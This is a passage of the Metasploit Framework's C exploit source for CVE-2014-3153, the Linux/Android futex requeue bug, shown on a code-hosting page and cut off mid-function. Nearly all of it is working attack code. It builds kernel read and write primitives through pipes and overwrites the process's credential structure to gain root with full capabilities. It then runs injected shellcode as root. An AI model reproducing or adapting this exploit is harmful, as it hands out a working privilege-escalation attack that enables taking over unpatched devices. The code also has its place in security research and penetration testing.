CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2014-3153/futex_requeue.c
Views: 11779
1
#include <unistd.h>
2
#include <linux/futex.h>
3
#include <pthread.h>
4
#include <unistd.h>
5
#include <sys/syscall.h>
6
#include <sys/resource.h>
7
#include <stdio.h>
8
#include <stdlib.h>
9
#include <errno.h>
10
#include <sys/stat.h>
11
#include <sys/system_properties.h>
12
#include <sys/mount.h>
13
#include <sys/types.h>
14
#include <sys/wait.h>
15
#include <sys/socket.h>
16
#include <sys/uio.h>
17
#include <limits.h>
18
#include <fcntl.h>
19
#include <getopt.h>
20
#include <stdint.h>
21
#include <pwd.h>
22
#include <arpa/inet.h>
23
#include <sys/mman.h>
24
#include "log.h"
25
26
struct mmsghdr {
27
struct msghdr msg_hdr;
28
unsigned int msg_len;
29
};
30
31
#ifndef FUTEX_WAIT_REQUEUE_PI
32
#define FUTEX_WAIT_REQUEUE_PI 11
33
#endif
34
35
#ifndef FUTEX_CMP_REQUEUE_PI
36
#define FUTEX_CMP_REQUEUE_PI 12
37
#endif
38
39
#define ERROR 0
40
#define ROOT_SUCCESS 1
41
#define FIX_SUCCESS 2
42
#define ALL_DONE 3
43
44
#define KERNEL_START 0xc0000000
45
46
unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };
47
unsigned char config_buf[2048] = { "c0nfig" };
48
49
int config_new_samsung = 0;
50
int config_iovstack = 2;
51
int config_offset = 0;
52
int config_force_remove = 0;
53
54
int run_shellcode_as_root() {
55
56
int uid = getuid();
57
if (uid != 0) {
58
LOGV("Not uid=%d, returning\n", uid);
59
return 0;
60
}
61
62
if (shellcode_buf[0] == 0x90) {
63
LOGV("No shellcode, uid=%d\n", uid);
64
return 0;
65
}
66
LOGV("running shellcode, uid=%d\n", uid);
67
68
int pid = fork();
69
LOGV("onload, pid=%d\n", pid);
70
if (pid == 0) {
71
LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid());
72
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
73
if (ptr == MAP_FAILED) {
74
return 0;
75
}
76
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
77
void (*shellcode)() = (void(*)())ptr;
78
shellcode();
79
}
80
LOGV("finished, pid=%d\n", pid);
81
return pid;
82
}
83
84
#define DEV_PTMX "/dev/ptmx"
85
int PORT = 58295;
86
87
unsigned long addr, hacked_node, hacked_node_alt;
88
int HACKS_fdm = 0;
89
pid_t waiter_thread_tid;
90
pthread_mutex_t done_lock;
91
pthread_mutex_t done_kill_lock;
92
pthread_mutex_t thread_returned_lock;
93
pthread_cond_t done;
94
pthread_cond_t done_kill;
95
pthread_cond_t thread_returned;
96
pthread_mutex_t is_thread_desched_lock;
97
pthread_cond_t is_thread_desched;
98
pthread_mutex_t is_thread_awake_lock;
99
pthread_cond_t is_thread_awake;
100
int lock1 = 0;
101
int lock2 = 0;
102
pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
103
pthread_mutex_t *is_kernel_writing;
104
int pipe_fd[2];
105
int sockfd;
106
pid_t tid_12 = 0;
107
pid_t tid_11 = 0;
108
unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
109
unsigned long t11;
110
unsigned long lock;
111
char shell_server[256];
112
int loop_limit = 10;
113
pid_t remove_pid[1024];
114
unsigned long remove_waiter[1024];
115
int remove_counter = 0;
116
117
const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
118
const char str_1[] = {1, 0, 0, 0, 0};
119
120
void reset_hacked_list(unsigned long hacked_node);
121
122
/*********************/
123
/*** PIPE STUFF ******/
124
/*********************/
125
126
// Pipe server
127
static int start_pipe_server() {
128
int nbytes,msg;
129
int done_root = 0;
130
131
/* Parent process closes up output side of pipe */
132
close(pipe_fd[1]);
133
LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
134
135
while(1) {
136
/* Read in a message from the exploiting process */
137
nbytes = read(pipe_fd[0], &msg, sizeof(msg));
138
if(nbytes <= 0) return 0;
139
if(msg == ROOT_SUCCESS) {
140
LOGD("[CONTROLLER] Exploit succeded\n");
141
done_root = 1;
142
}
143
if(msg == FIX_SUCCESS) {
144
LOGD("[CONTROLLER] Fix succeded\n");
145
}
146
if(msg == ALL_DONE) {
147
LOGD("[CONTROLLER] Exploit completed\n");
148
if(done_root)
149
return 1;
150
}
151
if(msg == ERROR) {
152
if(done_root) {
153
LOGD("[CONTROLLER] Error but exploit succeded\n");
154
return 1;
155
}
156
else {
157
LOGD("[CONTROLLER] Error received\n");
158
return 0;
159
}
160
}
161
}
162
}
163
164
// Send a message to the controller
165
static void send_pipe_msg(int msg) {
166
int msg_to_send;
167
168
msg_to_send = msg;
169
write(pipe_fd[1], &msg, sizeof(msg));
170
}
171
172
// Read kernel space using pipe
173
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
174
int pipefd[2];
175
ssize_t len;
176
177
pipe(pipefd);
178
179
len = write(pipefd[1], writebuf, count);
180
181
if (len != count) {
182
LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
183
return -1;
184
}
185
186
read(pipefd[0], readbuf, count);
187
LOGD("[PIPE] Read %d bytes\n", count);
188
189
close(pipefd[0]);
190
close(pipefd[1]);
191
192
return len;
193
}
194
195
// Write in kernel space using pipe
196
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
197
int pipefd[2];
198
ssize_t len;
199
int ret = 0;
200
201
pipe(pipefd);
202
ret = write(pipefd[1], writebuf, count);
203
len = read(pipefd[0], readbuf, count);
204
if (len != count) {
205
LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
206
return -1;
207
}
208
else
209
LOGD("[PIPE] Written %d bytes\n", (int)len);
210
211
close(pipefd[0]);
212
close(pipefd[1]);
213
214
return len;
215
}
216
217
218
219
/*********************/
220
/**** SOCKET STUFF ***/
221
/*********************/
222
223
void *accept_socket(void *arg) {
224
int yes;
225
struct sockaddr_in addr = {0};
226
int ret;
227
int sock_buf_size;
228
socklen_t optlen;
229
230
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
231
if(sockfd < 0) {
232
LOGD("[ACCEPT SOCKET] Socket creation failed\n");
233
send_pipe_msg(ERROR);
234
return NULL;
235
}
236
237
yes = 1;
238
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
239
240
// We need set the socket kernel buffer as smaller as possible.
241
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
242
243
sock_buf_size = 1;
244
setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
245
246
addr.sin_family = AF_INET;
247
addr.sin_port = htons(PORT);
248
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
249
250
if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
251
LOGD("[ACCEPT SOCKET] Socket bind failed\n");
252
send_pipe_msg(ERROR);
253
return NULL;
254
}
255
256
if(listen(sockfd, 1) < 0) {
257
LOGD("[ACCEPT SOCKET] Socket listen failed\n");
258
send_pipe_msg(ERROR);
259
return NULL;
260
}
261
262
while(1) {
263
ret = accept(sockfd, NULL, NULL);
264
if (ret < 0) {
265
LOGD("[ACCEPT SOCKET] Socket accept failed\n");
266
send_pipe_msg(ERROR);
267
return NULL;
268
} else {
269
LOGD("[ACCEPT SOCKET] Client accepted!\n");
270
}
271
}
272
273
return NULL;
274
}
275
276
277
int make_socket() {
278
int sockfd;
279
struct sockaddr_in addr = {0};
280
int ret;
281
int sock_buf_size;
282
socklen_t optlen;
283
284
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
285
if (sockfd < 0) {
286
LOGD("[MAKE SOCKET] socket failed.\n");
287
send_pipe_msg(ERROR);
288
return 0;
289
} else {
290
addr.sin_family = AF_INET;
291
addr.sin_port = htons(PORT);
292
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
293
}
294
295
while (1) {
296
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
297
if (ret >= 0) {
298
break;
299
}
300
usleep(10);
301
}
302
303
// We need set the socket kernel buffer as smaller as possible
304
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
305
306
sock_buf_size = 1;
307
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
308
309
return sockfd;
310
}
311
312
313
/*************************/
314
/**** KERNEL STUFF *******/
315
/*************************/
316
void stop_for_error() {
317
LOGD("[ERROR] Sleeping for error");
318
send_pipe_msg(ERROR);
319
while(1)
320
sleep(10);
321
}
322
323
// Remove a pending waiter
324
void remove_remaining_waiter(int index) {
325
unsigned long addr;
326
unsigned long val[4];
327
328
329
LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);
330
331
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
332
333
reset_hacked_list(0xbeffe0);
334
335
// Create a correct next and previous waiter
336
337
*((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev
338
*((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next
339
*((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev
340
*((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next
341
342
val[0] = 0xbf0000;
343
val[1] = 0xbeffe0;
344
val[2] = 0xbf0008;
345
val[3] = 0xbeffe8;
346
write_pipe((void *)(remove_waiter[index]), &val, 16);
347
348
// Now we can kill the waiter safely
349
350
pthread_mutex_lock(&is_thread_awake_lock);
351
kill(remove_pid[index], 14);
352
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
353
pthread_mutex_unlock(&is_thread_awake_lock);
354
355
munmap((unsigned long *)0xbef000, 0x2000);
356
357
}
358
359
// Fix the kernel waiter list
360
int fix_kernel_waiter_list(unsigned int head) {
361
362
unsigned int val, val2, val3, list, prio6, prio3;
363
int i, err = 0, ret = 0;
364
unsigned long w[4];
365
unsigned int as[12];
366
367
LOGD("[FIXER] prio 6 at %x\n", head);
368
369
list = head + 4;
370
371
// Save the prio6 waiter
372
read_pipe((void *) list, &prio6, 4);
373
374
// Save the prio3 waiter
375
read_pipe((void *) (list+4), &prio3, 4);
376
377
// Fix prio3
378
ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev
379
if(ret == -1)
380
err = 1;
381
382
#ifdef DEBUG
383
//////////////// Just debug //////////////////////////////
384
read_pipe((void *) (list-4), &as, 48);
385
LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",
386
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
387
//////////////////////////////////////////////
388
#endif
389
390
391
// Find the first waiter before the hacked waiter. We need to fix it
392
for(i = 0; i < 2; i++) {
393
read_pipe((void *) list, &val, 4);
394
list = val;
395
if(i == 0) {
396
// At the beginning we need to save the lock pointer
397
read_pipe((void *) (list + 40), &lock, 4);
398
399
#ifdef DEBUG
400
//////////////// Just debug //////////////////////////////
401
read_pipe((void *) (list-4), &as, 48);
402
LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",
403
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
404
//////////////////////////////////////////////
405
#endif
406
407
}
408
}
409
410
411
// Adjust the lock->next pointer
412
LOGD("[FIXER] Looking for the lock next offset address\n");
413
if(lock) {
414
for(i = 0; i < 5; i++) {
415
read_pipe((void *) (lock + (i * 4)), &val3, 4);
416
if(val3 == (prio3 + 8)) {
417
LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
418
lock = lock + (i * 4);
419
}
420
}
421
}
422
423
// Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
424
val2 = t11 + 8;
425
ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev
426
if(ret == -1)
427
err = 1;
428
429
// Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
430
val2 = t11+8;
431
ret = write_pipe((void *) (list), &t11, 4); // prio_list->next
432
if(ret == -1)
433
err = 1;
434
435
ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next
436
if(ret == -1)
437
err = 1;
438
439
440
// Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter
441
w[0] = prio3; // prio_list->next
442
w[1] = list; // prio_list->prev
443
w[2] = lock; // node_list->next
444
w[3] = list + 8; // node_list->prev
445
446
ret = write_pipe((void *) t11, &w, 16);
447
if(ret == -1)
448
err = 1;
449
450
LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
451
LOGD("[FIXER] All done!\n");
452
453
#ifdef DEBUG
454
///////////////////////////// DEBUG ////////////////////////////7
455
read_pipe((void *) (prio3-4), &as, 48);
456
LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),
457
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
458
459
read_pipe((void *) (head), &as, 48);
460
LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),
461
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
462
463
read_pipe((void *) (prio6-4), &as, 48);
464
LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),
465
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
466
467
read_pipe((void *) (list - 4), &as, 48);
468
LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),
469
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
470
471
read_pipe((void *) (t11-4), &as, 48);
472
LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),
473
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
474
475
read_pipe((void *) (lock), &as, 16);
476
LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
477
//////////////////////////////////////////////
478
#endif
479
480
sleep(1);
481
482
return err;
483
484
}
485
486
487
488
// Hack in the kernel
489
void hack_the_kernel(int signum) {
490
char *slavename;
491
int pipefd[2];
492
char readbuf[0x100];
493
unsigned long thread_info_dump[4];
494
unsigned long task_struct_dump[0x200];
495
unsigned long cred_struct_dump[0x40];
496
unsigned long cred_struct_dump_orig[0x40];
497
unsigned long group_info_struct_dump[6];
498
unsigned long group_info_struct_dump_orig[6];
499
pid_t pid;
500
int i, ret;
501
unsigned long val1, val2;
502
int err = 0;
503
504
leaker_pid = gettid();
505
506
pthread_mutex_lock(&is_thread_awake_lock);
507
pthread_cond_signal(&is_thread_awake);
508
pthread_mutex_unlock(&is_thread_awake_lock);
509
510
// Check if we are the first or the second evil thread
511
if (final_kstack_base == 0) {
512
LOGD("[FIRST KERNEL HACK] First evil thread started\n");
513
514
pthread_mutex_lock(is_kernel_writing);
515
// We need to use a pipe... Open a pts device to use it
516
517
HACKS_fdm = open(DEV_PTMX, O_RDWR);
518
unlockpt(HACKS_fdm);
519
slavename = ptsname(HACKS_fdm);
520
521
open(slavename, O_RDWR);
522
LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
523
524
if(config_new_samsung) {
525
pipe(pipefd);
526
syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
527
528
}
529
else {
530
read(HACKS_fdm, readbuf, 0x100);
531
}
532
533
// Here the TRIGGER told us to continue the dirty job
534
// Update the thread_info struct of the second evil thread using the pipe.
535
536
write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);
537
538
LOGD("[FIRST KERNEL HACK] All Done!\n");
539
540
// Tell the second thread that now can continue
541
pthread_mutex_unlock(is_kernel_writing);
542
543
// Add a waiter at the beginning of the list so we can leak it
544
LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
545
setpriority(PRIO_PROCESS, 0, 4);
546
LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());
547
548
syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
549
550
// If we are here the stack modifier has been killed
551
552
LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());
553
554
// Tell to the second evil thread that it can fix the waiter list now
555
pthread_mutex_lock(&done_kill_lock);
556
pthread_cond_signal(&done_kill);
557
pthread_mutex_unlock(&done_kill_lock);
558
559
sleep(5);
560
return;
561
562
}
563
564
//////////////////////////////////////////
565
// From here we are the second evil thread
566
LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
567
pthread_mutex_lock(is_kernel_writing);
568
569
sleep(2);
570
571
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
572
read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
573
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
574
575
LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
576
577
val1 = 0;
578
val2 = 0;
579
pid = 0;
580
581
LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
582
// Parse the task_struct dump in order to find the cred struct pointer
583
// If we have four succesive kernel pointer -> we have the cred struct
584
for (i = 0; i < 0x200; i++) {
585
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
586
if (task_struct_dump[i] > 0xc0000000) {
587
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
588
if (task_struct_dump[i + 2] > 0xc0000000) {
589
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
590
if (task_struct_dump[i + 4] > 0xc0000000) {
591
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
592
if (task_struct_dump[i + 6] > 0xc0000000) {
593
val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
594
LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
595
break;
596
}
597
}
598
}
599
}
600
}
601
}
602
}
603
}
604
}
605
606
if(!val1) {
607
LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
608
stop_for_error();
609
}
610
611
LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
612
// Update the cred struct
613
read_pipe((void *)val1, cred_struct_dump, 0x100);
614
memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct
615
616
val2 = cred_struct_dump[0x16]; // group_info struct
617
if (val2 > 0xc0000000) {
618
if (val2 < 0xffff0000) {
619
read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
620
memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
621
if (group_info_struct_dump[0] != 0) {
622
if (group_info_struct_dump[1] != 0) {
623
if (group_info_struct_dump[2] == 0) {
624
if (group_info_struct_dump[3] == 0) {
625
if (group_info_struct_dump[4] == 0) {
626
if (group_info_struct_dump[5] == 0) {
627
group_info_struct_dump[0] = 1; // atomic_t usage
628
group_info_struct_dump[1] = 1; // int ngroups
629
630
// Update the group_info struct in the kernel
631
LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
632
write_pipe((void *)val2, group_info_struct_dump, 0x18);
633
}
634
}
635
}
636
}
637
}
638
}
639
}
640
}
641
642
// Update the cred struct
643
cred_struct_dump[1] = 0; // uid
644
cred_struct_dump[2] = 0; // gid
645
cred_struct_dump[3] = 0; // suid
646
cred_struct_dump[4] = 0; // sgid
647
cred_struct_dump[5] = 0; // euid
648
cred_struct_dump[6] = 0; // egid
649
cred_struct_dump[7] = 0; // fsuid
650
cred_struct_dump[8] = 0; // fsgid
651
652
cred_struct_dump[10] = 0xffffffff; // cap_inheritable
653
cred_struct_dump[11] = 0xffffffff; // cap_permitted
654
cred_struct_dump[12] = 0xffffffff; // cap_effective
655
cred_struct_dump[13] = 0xffffffff; // cap_bset
656
cred_struct_dump[14] = 0xffffffff; // jit_keyring
657
cred_struct_dump[15] = 0xffffffff; // *session_keyring
658
cred_struct_dump[16] = 0xffffffff; // *process_keyring
659
cred_struct_dump[17] = 0xffffffff; // *thread_keyring;
660
661
662
LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");
663
664
// Update the cred struct in the kernel
665
write_pipe((void *)val1, cred_struct_dump, 0x48);
666
667
sleep(2);
668
669
pid = syscall(__NR_gettid);
670
671
// Update the pid
672
LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
673
i = 0;
674
while (1) {
675
if (task_struct_dump[i] == pid) {
676
LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");
677
678
write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
679
680
if (getuid() != 0) {
681
LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
682
send_pipe_msg(ERROR);
683
} else {
684
LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");
685
686
//////////// ROOT CODE HERE /////////////////
687
688
// Fork and install the root shell
689
if(fork() == 0) {
690
LOGD("running as pid %d, tid %d, with uid %d", getpid(), gettid(), getuid());
691
run_shellcode_as_root();
692
exit(0);
693
}
694
695
//////////////////////////////////////////////
696
sleep(3);
697
close(sockfd);
698
send_pipe_msg(ROOT_SUCCESS);
699
break;
700
}
701
}
702
i++;
703
}
704
705
// Fix cred_struct and group_info_struct with originals
706
//sleep(3); // be sure nothing is happening before to fix
707
LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
708
write_pipe((void *)val1, cred_struct_dump_orig, 0x48);
709
sleep(2);
710
LOGD("[SECOND KERNEL HACK] Fixing group info\n");
711
write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
712
sleep(2);
713
714
// To fix the waiter list we need to know where is the beginning of the list (we hacked it).
715
// To do that we use the leaker thread that has a waiter with prio 3
716
717
LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
718
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
719
read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
720
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
721
722
LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
723
724
int k = 0;
725
val1 = 0;
726
val2 = 0;
727
pid = 0;
728
729
// Find the waiter in the task struct. We know is a bit after the cred_struct
730
731
LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
732
// Parse the task_struct dump in order to find the cred struct pointer
733
// If we have four succesive kernel pointer -> we have the cred struct
734
735
for (i = 0; i < 0x200; i++) {
736
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
737
if (task_struct_dump[i] > 0xc0000000) {
738
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
739
if (task_struct_dump[i + 2] > 0xc0000000) {
740
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
741
if (task_struct_dump[i + 4] > 0xc0000000) {
742
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
743
if (task_struct_dump[i + 6] > 0xc0000000) {
744
LOGD("[SECOND KERNEL HACK] We are at cred\n");
745
746
// We need to find the waiter in the task_struct
747
748
for(k = 0; k<100; k++) {
749
if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
750
read_pipe((void *) task_struct_dump[k + i], &val1, 4);
751
// Check a pointer pointing to 0x7b (123 = prio 3)
752
//if(val1 == 0x7b) {
753
if(val1 == 0x7c) {
754
target_waiter = (unsigned int) task_struct_dump[k + i];
755
LOGD("Found target_waiter %d %x\n", k + i, (unsigned int) target_waiter);
756
sleep(2);
757
break;
758
}
759
}
760
}
761
break;
762
}
763
}
764
}
765
}
766
}
767
}
768
}
769
}
770
}
771
772
if(!target_waiter)
773
stop_for_error();
774
775
// Get the next node, so the prio 6 node
776
LOGD("[SECOND KERNEL HACK] Waiting the thread\n");
777
778
pthread_mutex_lock(&done_kill_lock);
779
780
// Ok now we need to remove
781
int h;
782
for(h = 0; h < remove_counter; h++)
783
remove_remaining_waiter(h);
784
785
if(fix_kernel_waiter_list(target_waiter) == 0)
786
send_pipe_msg(FIX_SUCCESS);
787
else
788
stop_for_error();
789
790
791
LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");
792
793
// Kill the stack modifier
794
kill(stack_modifier_tid,14);
795
796
// Wait for the prio 4 node going out
797
pthread_cond_wait(&done_kill, &done_kill_lock);
798
799
LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");
800
801
// We fixed everything, so we can leave now
802
pthread_exit(NULL);
803
804
}
805
806
807
/***************************/
808
/**** THREAD FOR WAITERS ***/
809
/***************************/
810
811
void thread_killer(int signum) {
812
813
LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());
814
815
pthread_mutex_lock(&is_thread_awake_lock);
816
pthread_cond_signal(&is_thread_awake);
817
pthread_mutex_unlock(&is_thread_awake_lock);
818
819
pthread_exit(NULL);
820
821
}
822
823
824
// Add a new waiter in the list with a specific prio.
825
void *make_action_adding_waiter(void *arg) {
826
int prio;
827
struct sigaction act;
828
struct sigaction act3;
829
int ret;
830
831
prio = (int)arg;
832
last_tid = syscall(__NR_gettid);
833
834
pthread_mutex_lock(&is_thread_desched_lock);
835
pthread_cond_signal(&is_thread_desched);
836
837
// Handler to hack in the kernel.
838
act.sa_handler = hack_the_kernel;
839
sigemptyset(&act.sa_mask);
840
act.sa_flags = 0;
841
act.sa_restorer = NULL;
842
sigaction(12, &act, NULL);
843
844
// Handler to kill useless threads.
845
act3.sa_handler = thread_killer;
846
sigemptyset(&act3.sa_mask);
847
act3.sa_flags = 0;
848
act3.sa_restorer = NULL;
849
sigaction(14, &act3, NULL);
850
851
setpriority(PRIO_PROCESS, 0, prio);
852
853
pthread_mutex_unlock(&is_thread_desched_lock);
854
855
LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
856
ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
857
LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());
858
859
// The firs node that will exit. Kill some other thread
860
if(prio == 11) {
861
LOGD("[MAKE ACTION] Killing prio 11\n");
862
863
pthread_mutex_lock(&is_thread_awake_lock);
864
kill(tid_11, 14);
865
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
866
pthread_mutex_unlock(&is_thread_awake_lock);
867
868
LOGD("[MAKE ACTION] Killing prio 7\n");
869
870
pthread_mutex_lock(&is_thread_awake_lock);
871
kill(pid7, 14);
872
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
873
pthread_mutex_unlock(&is_thread_awake_lock);
874
875
LOGD("[MAKE ACTION] All done!\n");
876
sleep(1);
877
878
pthread_exit(NULL);
879
880
}
881
882
// Last node will exit
883
if(prio == 6) {
884
LOGD("[MAKE ACTION] Prio 6 node is exiting\n");
885
886
// Notify the main that we finished
887
pthread_mutex_lock(&done_lock);
888
pthread_cond_signal(&done);
889
pthread_mutex_unlock(&done_lock);
890
891
pthread_exit(NULL);
892
}
893
894
// Never reached
895
return NULL;
896
}
897
898
899
900
// Create a new thread to add a new waiter with a prio
901
pid_t wake_actionthread(int prio) {
902
pthread_t th4;
903
pid_t pid;
904
905
LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");
906
907
// Create the thread that will add a new lock.
908
909
pthread_mutex_lock(&is_thread_desched_lock);
910
pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
911
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
912
913
LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");
914
915
pid = last_tid;
916
917
// Needed to be sure that the new thread is waiting to acquire the lock
918
sleep(1);
919
920
pthread_mutex_unlock(&is_thread_desched_lock);
921
922
// Return the new thread created
923
return pid;
924
}
925
926
927
928
// This is the first evil thread.
929
// When the vuln is triggered will use a syscall to modify the kernel stack.
930
void *stack_modifier(void *name)
931
{
932
933
pthread_t l8;
934
int sockfd, ret;
935
struct mmsghdr msgvec[1];
936
struct iovec msg_iov[8];
937
unsigned long databuf[0x20];
938
int i;
939
char line[20];
940
struct sigaction act3;
941
942
stack_modifier_tid = gettid();
943
944
LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());
945
946
setpriority(PRIO_PROCESS , 0, 12);
947
948
// Register an handle for a signal. We will use it to kill this thread later.
949
act3.sa_handler = thread_killer;
950
sigemptyset(&act3.sa_mask);
951
act3.sa_flags = 0;
952
act3.sa_restorer = NULL;
953
sigaction(14, &act3, NULL);
954
955
956
for (i = 0; i < 0x20; i++) {
957
databuf[i] = hacked_node;
958
}
959
960
for (i = 0; i <= 8; i++) {
961
